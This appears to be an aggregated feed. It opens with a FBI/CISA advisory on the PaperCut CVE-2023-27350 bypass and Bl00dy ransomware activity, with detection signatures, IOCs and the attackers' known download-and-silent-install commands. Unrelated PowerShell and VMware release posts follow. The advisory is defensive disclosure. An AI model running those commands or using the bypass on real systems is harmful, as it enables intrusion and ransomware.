This joint advisory provides detection methods for exploitation of CVE-2023-27350 as well and indicators of compromise (IOCs) associated with Bl00dy Ransomware Gang activity. FBI and CISA strongly encourage users and administrators to immediately apply patches, and workarounds if unable to patch. FBI and CISA especially encourage organizations who did not patch immediately to assume compromise and hunt for malicious activity using the detection signatures in this CSA. If potential compromise is detected, organizations should apply the incident response recommendations included in this CSA.

Download the PDF version of this report:

TECHNICAL DETAILS

Vulnerability Overview

CVE-2023-27350 allows a remote actor to bypass authentication and conduct remote code execution on the following affected installations of PaperCut:[1]

  • Version 8.0.0 to 19.2.7
  • Version 20.0.0 to 20.1.6
  • Version 21.0.0 to 21.2.10
  • Version 22.0.0 to 22.0.8

PaperCut servers vulnerable to CVE-2023-27350 implement improper access controls in the SetupCompleted Java class, allowing malicious actors to bypass user authentication and access the server as an administrator. After accessing the server, actors can leverage existing PaperCut software features for remote code execution (RCE). There are currently two publicly known proofs of concept for achieving RCE in vulnerable PaperCut software:

  • Using the print scripting interface to execute shell commands.
  • Using the User/Group Sync interface to execute a living-off-the-land-style attack.

FBI and CISA note that actors may develop other methods for RCE.

The PaperCut server process pc-app.exe runs with SYSTEM- or root-level privileges. When the software is exploited to execute other processes such as cmd.exe or powershell.exe, these child processes are created with the same privileges. Commands supplied with the execution of these processes will also run with the same privileges. As a result, a wide range of post-exploitation activity is possible following initial access and compromise.

This CVE was added to CISA’s Known Exploited Vulnerabilities (KEV) Catalog on April 21, 2023.

Threat Actor Activity

Education Facilities Subsector entities maintained approximately 68% of exposed, but not necessarily vulnerable, U.S.-based PaperCut servers. In early May 2023, according to FBI information, the Bl00dy Ransomware Gang gained access to victim networks across the Education Facilities Subsector where PaperCut servers vulnerable to CVE-2023-27350 were exposed to the internet. Ultimately, some of these operations led to data exfiltration and encryption of victim systems. The Bl00dy Ransomware Gang left ransom notes on victim systems demanding payment in exchange for decryption of encrypted files (see Figure 1).

Figure 1: Example Bl00dy Gang Ransomware Note
Figure 1: Example Bl00dy Gang Ransomware Note

According to FBI information, legitimate remote management and maintenance (RMM) software was downloaded and executed on victim systems via commands issued through PaperCut’s print scripting interface. External network communications through Tor and/or other proxies from inside victim networks helped Bl00dy Gang ransomware actors mask their malicious network traffic. The FBI also identified information relating to the download and execution of command and control (C2) malware such as DiceLoader, TrueBot, and Cobalt Strike Beacons, although it is unclear at which stage in the attack these tools were executed.

DETECTION METHODS

Network defenders should focus detection efforts on three key areas:

  • Network traffic signatures – Look for network traffic attempting to access the SetupCompleted page of an exposed and vulnerable PaperCut server.
  • System monitoring – Look for child processes spawned from a PaperCut server’s pc-app.exe process.
  • Server settings and log files – Look for evidence of malicious activity in PaperCut server settings and log files.

Network Traffic Signatures

To exploit CVE-2023-27350, a malicious actor must first visit the SetupCompleted page of the intended target, which will provide the adversary with authentication to the targeted PaperCut server. Deploy the following Emerging Threat Suricata signatures to detect when GET requests are sent to the SetupCompleted page. (Be careful of improperly formatted double-quotation marks if copying and pasting signatures from this advisory.)

Note that some of the techniques identified in this section can affect the availability or stability of a system. Defenders should follow organizational policies and incident response best practices to minimize the risk to operations while threat hunting. 

alert http any any -> $HOME_NET any (
  msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)";
  flow:established,to_server;
  http.method; content:"GET";
  http.uri; content:"/app?service=page/SetupCompleted"; bsize:32; fast_pattern;
  reference:cve,2023-27350;
  classtype:attempted-admin;

alert http any any -> $HOME_NET any (msg:"ET EXPLOIT PaperCut MF/NG SetupCompleted Authentication Bypass (CVE-2023-27350)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"page/SetupCompleted"; fast_pattern; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; reference:cve,2023-27350; classtype:attempted-admin; metadata:attack_target Server, cve CVE_2023_27350, deployment Perimeter, deployment Internal, deployment SSLDecrypt, former_category EXPLOIT, performance_impact Low, confidence High, signature_severity Major, updated_at 2023_05_05;)

Note that these signatures and other rule-based detections, including YARA rules, may fail to detect more advanced iterations of CVE-2023-27350 exploits. Actors are known to adapt exploits to circumvent rule-based detections formulated for the original iterations of exploits observed in the wild. For example, the first rule above detected some of the first known exploits of CVE-2023-27350, but a slight modification of the exploit’s GET request can evade that rule. The second rule was designed to detect a broader range of activity than the first rule.

The following additional Emerging Threat Suricata signatures are designed to detect Domain Name System (DNS) lookups of known malicious domains associated with recent PaperCut exploitation:

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowcsupdates .com)"; dns_query; content:"windowcsupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowcsupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdate .com)"; dns_query; content:"anydeskupdate.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)anydeskupdate.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (anydeskupdates .com)"; dns_query; content:"anydeskupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)anydeskupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecemter .com)"; dns_query; content:"windowservicecemter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecemter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET ATTACK_RESPONSE Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (winserverupdates .com)"; dns_query; content:"winserverupdates.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)winserverupdates.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (netviewremote .com)"; dns_query; content:"netviewremote.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)netviewremote.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (updateservicecenter .com)"; dns_query; content:"updateservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)updateservicecenter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecenter .com)"; dns_query; content:"windowservicecenter.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecenter.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category MALWARE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

alert dns $HOME_NET any -> any any (msg:"ET TROJAN Possible PaperCut MF/NG Post Exploitation Domain in DNS Lookup (windowservicecentar .com)"; dns_query; content:"windowservicecentar.com"; nocase; isdataat:!1,relative; pcre:"/(?:^|.)windowservicecentar.com$/"; reference:url,www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software; classtype:trojan-activity; metadata:affected_product Windows_XP_Vista_7_8_10_Server_32_64_Bit, attack_target Client_Endpoint, deployment Perimeter, former_category ATTACK_RESPONSE, performance_impact Low, signature_severity Major, updated_at 2023_04_21;)

Note that these signatures may also not work if the actor modified activity to evade detection by known rules.

System Monitoring

A child process is spawned under pc-app.exe when the vulnerable PaperCut software is used to execute another process, which is the PaperCut server process. Malicious activity against PaperCut servers in mid-April used the RCE to supply commands to a cmd.exe or powershell.exe child process, which were then used to conduct further network exploitation. The following YARA rule may detect malicious activity[2].

title: PaperCut MF/NG Vulnerability 
authors: Huntress DE&TH Team
description: Detects suspicious code execution from vulnerable PaperCut versions MF and NG 
logsource:
  category: process_creation 
  product: windows 
detection: 
  selection: 
    ParentImage|endswith: “pc-app.exe” 
    Image|endswith:  
      - “cmd.exe” 
      - “powershell.exe” 
  condition: selection 
level: high 
falsepositives:     
  - Expected admin activity

More advanced versions of the exploit can drop a backdoor executable, use living-off-the-land binaries, or attempt to evade the above YARA rule by spawning an additional child process in-between pc-app.exe and a command-line interpreter.

Server Settings and Log Files

Network defenders may be able to identify suspicious activity by reviewing the PaperCut server options to identify unfamiliar print scripts or User/Group Sync settings.

If the PaperCut Application Server logs have debug mode enabled, lines containing SetupCompleted at a time not correlating with the server installation or upgrade may be indicative of a compromise. Server logs can be found in [app-path]/server/logs/*.* where server.log is normally the most recent log file.
Any of the following server log entries may be indicative of a compromise:

  • User "admin" updated the config key “print.script.sandboxed”
  • User "admin" updated the config key “device.script.sandboxed”
  • Admin user "admin" modified the print script on printer
  • User/Group Sync settings changed by "admin"

Indicators of Compromise

See Table 1 through Table 6 for IOCs obtained from FBI investigations and open-source information as of early May 2023.

Table 1: Bl00dy Gang Ransomware Email Addresses

Email Addresses

decrypt.support@privyonline[.]com

fimaribahundqf@gmx[.]com

main-office@data-highstream[.]com

prepalkeinuc0u@gmx[.]com

tpyrcne@onionmail[.]org

 

Table 2: Bl00dy Gang Ransomware Tox ID

Tox ID

E3213A199CDA7618AC22486EFECBD9F8E049AC36094D56AC1BFBE67EB9C3CF2352CAE9EBD35F

 

Table 3: Bl00dy Gang Ransomware IP addresses

IP Address

Port

>Date

Description

102.130.112[.]157

April 2023

N/A

172.106.112[.]46

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

176.97.76[.]163

April 2023

Resolves to datacenter Tor node.

192.160.102[.]164

 

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

194.87.82[.]7

April 2023

TrueBot C2. DiceLoader malware.

195.123.246[.]20

April 2023

TrueBot C2. DiceLoader malware.

198.50.191[.]95

 

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

206.197.244[.]75

>443

April 2023

N/A

216.122.175[.]114

 

 

April 2023

Outbound communications from powershell.exe.

46.4.20[.]30

 

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

5.188.206[.]14

April 2023

N/A

5.8.18[.]233

April 2023

Cobalt Strike C2.

5.8.18[.]240

April 2023

Cobalt Strike C2.

80.94.95[.]103

April 2023

N/A

89.105.216[.]106

443

April 2023

Resolves to Tor node. Network communications with nethelper.exe.

92.118.36[.]199

9100, 443

April 2023

Outbound communications from svchost.exe.

http://192.184.35[.]216:443/

4591187629.exe

April 2023

File 4591187629.exe is possibly cryptominer malware.

 

Table 4: Bl00dy Gang Ransomware Domains

Malicious Domain

Description

anydeskupdate[.]com

N/A

anydeskupdates[.]com

N/A

ber6vjyb[.]com

Associated with TrueBot C2

netviewremote[.]com

N/A

study.abroad[.]ge

Associated with Cobalt Strike Beacon

upd343.winserverupdates[.]com

Associated with Cobalt Strike Beacon

upd488.windowservicecemter[.]com

Associated with TrueBot payload

upd488.windowservicecemter[.]com/download/update.dll

File: Cobalt Strike Beacon

updateservicecenter[.]com

N/A

windowcsupdates[.]com

N/A

windowservicecemter[.]com

Associated with TrueBot payload

windowservicecentar[.]com

N/A

windowservicecenter[.]com

N/A

winserverupdates[.]com

N/A

winserverupdates[.]com

N/A

 

Table 5: Bl00dy Gang Ransomware Known Commands

Command

Description

cmd /c “powershell.exe -nop -w hidden

Launches powershell.exe in a hidden window without loading the user’s PowerShell profile.

Invoke-WebRequest ‘/setup.msi’

 -OutFile ‘setup.msi’ ”

Downloads setup.msi, saving it as setup.msi, in the current PowerShell working directory.

cmd /c “msiexec /i setup.msi /qn  IntegratorLogin= CompanyId=1”

Installs legitimate Atera RMM software on the system silently, with the specified email address and company ID properties.

 

Table 6: Bl00dy Gang Ransomware Malicious Files

File

SHA-256

Description

/windows/system32/config/
systemprofile/appdata/roaming/tor/

N/A

Unspecified files created in Tor directory

/windows/temp/
socks.exe

6bb160ebdc59395882ff322e67e000a22a5c54ac777b6b1f10f1fef381df9c15

Reverse SOCKS5 tunneler with TLS support (see https://github.com/kost/revsocks)

/windows/temp/servers.txt

N/A

Unspecified content within servers.txt file; likely a list of proxy servers for revsocks(socks.exe)

ld.txt

c0f8aeeb2d11c6e751ee87c40ee609aceb1c1036706a5af0d3d78738b6cc4125

TrueBot malware

nethelper.exe

N/A

Unknown file used to send outbound communications through Tor

update.dll

0ce7c6369c024d497851a482e011ef1528ad270e83995d52213276edbe71403f

Cobalt Strike Beacon

INCIDENT RESPONSE

If compromise is suspected or detected, organizations should:

  1. Create a backup of the current PaperCut server(s).
  2. Wipe the PaperCut Application Server and/or Site Server and rebuild it.
  3. Restore the database from a “safe” backup point. Using a backup dated prior to April 2023 would be prudent, given that exploitation in-the-wild exploitation began around early April.
  4. Execute additional security response procedures and carry out best practices around potential compromise.
  5. Report the compromise to CISA via CISA’s 24/7 Operations Center (report@cisa.gov or 888-282-0870). The FBI encourages recipients of this document to report information concerning suspicious or criminal activity to their local FBI field office or IC3.gov. Regarding specific information that appears in this communication, the context and individual indicators, particularly those of a non-deterministic or ephemeral nature (such as filenames or IP addresses), may not be indicative of a compromise. Indicators should always be evaluated in light of an organization’s complete information security situation. 

MITIGATIONS

FBI and CISA recommend organizations:

  • Upgrade PaperCut to the latest version.
  • If unable to immediately patch, ensure vulnerable PaperCut servers are not accessible over the internet and implement one of the following network controls:
    • Option 1: External controls: Block all inbound traffic from external IP addresses to the web management portal (port 9191 and 9192 by default).
    • Option 2: Internal and external controls: Block all traffic inbound to the web management portal. Note: The server cannot be managed remotely after this step.
  • Follow best cybersecurity practices in your production and enterprise environments, including mandating phishing-resistant multifactor authentication (MFA) for all staff and for all services. For additional best practices, see CISA’s Cross-Sector Cybersecurity Performance Goals (CPGs). The CPGs, developed by CISA and the National Institute of Standards and Technology (NIST), are a prioritized subset of IT and OT security practices that can meaningfully reduce the likelihood and impact of known cyber risks and common TTPs. Because the CPGs are a subset of best practices, CISA and FBI also recommend all organizations implement a comprehensive information security program based on a recognized framework, such as the NIST Cybersecurity Framework (CSF).

ACKNOWLEDGMENTS

The Multi-State Information Sharing and Analysis Center (MS-ISAC) contributed to this advisory.
REFERENCES
[1] PaperCut: URGENT | PaperCut MF/NG vulnerability bulletin (March 2023)
[2] Huntress: Critical Vulnerabilities in PaperCut Print Management Software

This product is provided subject to this Notification and this Privacy & Use policy.

Completion Predictor v0.1.1 Release

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We’ve recently released a new version of the Completion Predictor! We’ve been highlighting
this predictor when showing off some of the new improvements in the
PSReadLine 2.3.x betas and wanted to share some of the awesome things you can do with this
predictor.

Completion Predictor v0.1.1

If you are unfamiliar with the Completion Predictor, this is a plugin in predictor that we released
last year that provides tab completion to help give prediction results. This means it can work for
helping fill out parameters of cmdlets and properties and methods of objects. The Version 0.1.1
release contains some experience improvements and some new completion capabilities.

Installing Completion Predictor v0.1.1

First and foremost, how can you get this predictor? The release is available from the
PowerShell Gallery.

Use the following command to install CompletionPredictor using PowerShellGet v2.x:

Install-Module -Name CompletionPredictor

If you are using PowerShellGet v3, you can use the following command:

Install-PSResource -Name CompletionPredictor

Argument Completion Improvements

cd and dir

Using tab completion we’re able to give predictions on the next folders you may want to navigate to
with cd or view the contents of with dir.

Screenshot showing cd and dir argument completion.

git

Another argument completion improvement was with git. These are improvements that we’ve found
works best for our workflow but may help with your git workflow as well!

Merging branches

Completion Predictor is able to look at remote and local branches available to accelerate your flow
when using git merge. Here is an example of it working.

Screenshot showing git merge prediction completion.

 

Checking out and deleting branches

Similarly, to the merge behavior, the completion predictor is now able to give predictions on what
branch you may want to use when checking out or deleting branches. This only works with the
subcommands git checkout and git branch -D. The predictor intentionally doesn’t include the
current branch you are in when giving results.

Screenshot showing git branch -D prediction completion.

As I mentioned, we added these improvements to help with our specific git workflows. Typically, the
rough flow we’ve is the following:

  • git fetch --all -p -> to get the latest changes in that repo
  • git merge -> sync the default branch
  • git branch -D -> delete the old working branches that were already removed from the remote side
  • git checkout -> checkout a new branch to work in
  • git push -> push the new branch to remote to then create a PR

This isn’t a blog post about how to best use git, so please refer to other online resources to
learn git. This is just the workflow we like to use that helped us create the git improvements
to the Completion Predictor.

Feedback

You can find the rest of the changes in this release in the changelog on the release page. We
love getting feedback on these predictors we make! The entire source code for this predictor is
available on GitHub and can be a great starting point for making your own predictor! Please
feel free to open issues or PRs on the GitHub page for improvements that may work for you and
others! Enjoy!

Steven Bucher and Dongbo Wang

Completion Predictor and PSReadLine Maintainers

The post Completion Predictor v0.1.1 Release appeared first on PowerShell Team.

PowerShell Extension for Visual Studio Code Spring 2023 Update

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We are excited to announce that an update to the PowerShell Extension for Visual Studio Code is now available in the extension marketplace.

In recent updates, we include a new “attach .NET debugger” debug configuration for binary PowerShell modules, better handling of start-up failures when the PowerShell version is unsupported, and have merged the PowerShell Preview extension and PowerShell “stable” extension into a single extension with a Prelease release channel.

The “PowerShell Preview” extension has now been officially deprecated, with “preview” releases now available via the “pre-release” option on the stable “PowerShell” extension in the marketplace. While you should be migrated automatically, feel free to just uninstall the preview and install the now one-and-only extension, but please keep testing our pre-releases! This change makes it much simpler to use, as you no longer have to switch between two different extensions and instead can use VS Code’s marketplace to install your choice of version!

Highlights in the March, April and May Releases

Note that these updates all shipped in our prelease channel for VS Code before shipping in our stable channel.

For the full list of changes please refer to our changelog.

Getting Support and Giving Feedback

While we hope the new implementation provides a much better user experience, there are bound to be issues. Please let us know if you run into anything.

If you encounter any issues with the PowerShell Extension in Visual Studio Code or have feature requests, the best place to get support is through our GitHub repository.

Sydney Smith
PowerShell Team

The post PowerShell Extension for Visual Studio Code Spring 2023 Update appeared first on PowerShell Team.

PSReadLine 2.3.1-beta1 Release

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We pleased to announce another release of PSReadLine 2.3.1-beta1! We have had various bug fixes
and minor improvements in this release, as well as a big new feature to ListView of Predictors! Let’s
jump right in!

Installing PSReadLine 2.3.1-beta1

How do you install this release? The release is available from the PowerShell Gallery.

Use the following command to install PSReadLine using PowerShellGet v2.x:

Install-Module -Name PSReadLine -AllowPrerelease -Force

If you are using PowerShellGet v3, you can use the following command:

Install-PSResource -Name PSReadLine -AllowPrerelease -Force

You must include the Force parameter to install this version side by side with the default
stable version.

Note


You must restart your PowerShell session to use the new version of
PSReadLine.

ListView tool tip view

In this preview, we enabled a new tooltip view in the ListView mode of PSReadLine Predictors.
Tooltips were part of the original design but were never presented to the user until this release.
Tooltips are enabled by default, but you can disable them by running the following command:

Set-PSReadLineOption -ShowToolTips:$false

And then can re-enable by running:

Set-PSReadLineOption -ShowToolTips

The following screenshot shows the CompletionPredictor providing tooltips to show details
about each parameter of Write-Host and GetChildItem.

Gif showing the tool tip option.

Tooltips are only available for results from plugin predictors. Predictions from History don’t have
tooltips. A plugin predictor can populate the tooltip with other descriptions to help provider more
details into what is being predicted. For example, the Az.Tools.Predictor module provides
details about what the suggested cmdlet does.

Screenshot showing Az predictor tool tip

It’s also helpful when working with .NET objects:

Screenshot showing the .NET object tool tip completion

For long tooltips, ListView shows up to four lines of the tooltip. You can get more information
for the selected item by pressing the F4 key.

GIF showing the F4 capabilities to expand a tooltip

See our changelog for a complete list of bug fixes and changes.

Feedback

As usual, we love getting your feedback! Since this is a beta release, designs and features are
subject to change. Please submit bugs, feature requests, or questions to the repository. Your
feedback is greatly appreciated!

Steven Bucher and Dongbo Wang

PSReadLine Maintainers

The post PSReadLine 2.3.1-beta1 Release appeared first on PowerShell Team.

Top 10 Most Popular Knowledge Articles for Horizon, WorkspaceONE, End User Computing (EUC), Personal Desktop for April, 2023   

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Tweet Get answers and solutions instantly by using VMware’s Knowledge Base (KB) articles to solve known issues. Whether you’re looking to improve your productivity, troubleshoot common issues, or simply learn something new, these most used and most viewed knowledge articles are a great place to start.   Here are the top 5 most viewed KB articles … Continued

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Top 10 Most Popular Knowledge Articles for HCX, SaaS, EPG Emerging Products Group for April, 2023   

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Tweet Get answers and solutions instantly by using VMware’s Knowledge Base (KB) articles to solve known issues. Whether you’re looking to improve your productivity, troubleshoot common issues, or simply learn something new, these most used and most viewed knowledge articles are a great place to start.   Here are the top 5 most viewed KB articles … Continued

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Top 10 Most Popular Knowledge Articles for SRM, vSan, Core Storage for April, 2023   

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